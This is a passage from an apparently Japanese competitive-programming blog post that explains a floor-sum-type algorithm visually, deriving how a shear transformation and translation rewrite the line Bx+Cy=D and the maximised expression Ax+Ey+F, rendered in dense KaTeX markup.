&#x305D;&#x306E;&#x3042;&#x3068;&#x3001;floor sum&#x3068;&#x540C;&#x3058;&#x3088;&#x3046;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x21A6;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x21A6;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span></span></span></span> &#x3068;&#x305B;&#x3093;&#x65AD;&#x5909;&#x5F62;&#x3092;&#x3057;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x8EF8;&#x6B63;&#x65B9;&#x5411;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.5113em;vertical-align:-0.35em;"></span><span class="mord">&#x2212;</span><span class="mopen">(</span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1613em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5508em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span> &#x3060;&#x3051;&#x5E73;&#x884C;&#x79FB;&#x52D5;&#x3057;&#x307E;&#x3059;&#x3002;&#x5E73;&#x884C;&#x79FB;&#x52D5;&#x5F8C;&#x306F;&#x3001;&#x4E0A;&#x56F3;&#x3067;&#x306E;&#x5DE6;&#x7AEF;&#x306E;&#x70B9;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mopen">(</span><span class="mord">&#x2212;</span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;)</span></span></span></span> &#x306B;&#x79FB;&#x308A;&#x307E;&#x3059;&#x3002;&#x4EE5;&#x4E0B;&#x306B;&#x305D;&#x306E;&#x56F3;&#x3092;&#x8F09;&#x305B;&#x3066;&#x304A;&#x304D;&#x307E;&#x3059;&#x3002;(&#x79FB;&#x52D5;&#x524D;&#x306E;&#x70B9;&#x3068;&#x7DDA;&#x306F;&#x8584;&#x304F;&#x8868;&#x793A;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;)</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/image-6.png" class="kg-image" alt="&#x8996;&#x899A;&#x7684;&#x306B;&#x7406;&#x89E3;&#x3059;&#x308B;floor sum" loading="lazy" width="1617" height="717"></figure><!--kg-card-begin: markdown--><p>&#x3053;&#x306E;&#x305B;&#x3093;&#x65AD;&#x5909;&#x5F62;&#x3068;&#x5E73;&#x884C;&#x79FB;&#x52D5;&#x306B;&#x3088;&#x308A;&#x3001;&#x76F4;&#x7DDA; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span></span></span></span> &#x306E;&#x65B9;&#x7A0B;&#x5F0F;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;)</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mopen">(&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.5113em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1613em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5508em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span> &#x306B;&#x306A;&#x308A;&#x3001;<strong>&#x6700;&#x5927;&#x5316;&#x5BFE;&#x8C61;&#x306E;&#x5F0F;&#x3067;&#x3042;&#x308B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> &#x3082;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">A</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.5113em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1613em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5508em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal">A</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;)</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal">A</span><span class="mopen">(&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.5113em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1613em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5508em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span> &#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</strong> &#x3053;&#x308C;&#x304C;&#x8907;&#x96D1;&#x306A;&#x305B;&#x3044;&#x3067;&#x6B21;&#x306B;&#x547C;&#x3070;&#x308C;&#x308B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord text"><span class="mord">solve</span></span></span></span></span> &#x95A2;&#x6570;&#x306E;&#x4E2D;&#x8EAB;&#x3082;&#x8907;&#x96D1;&#x306B;&#x306A;&#x3063;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;</p>
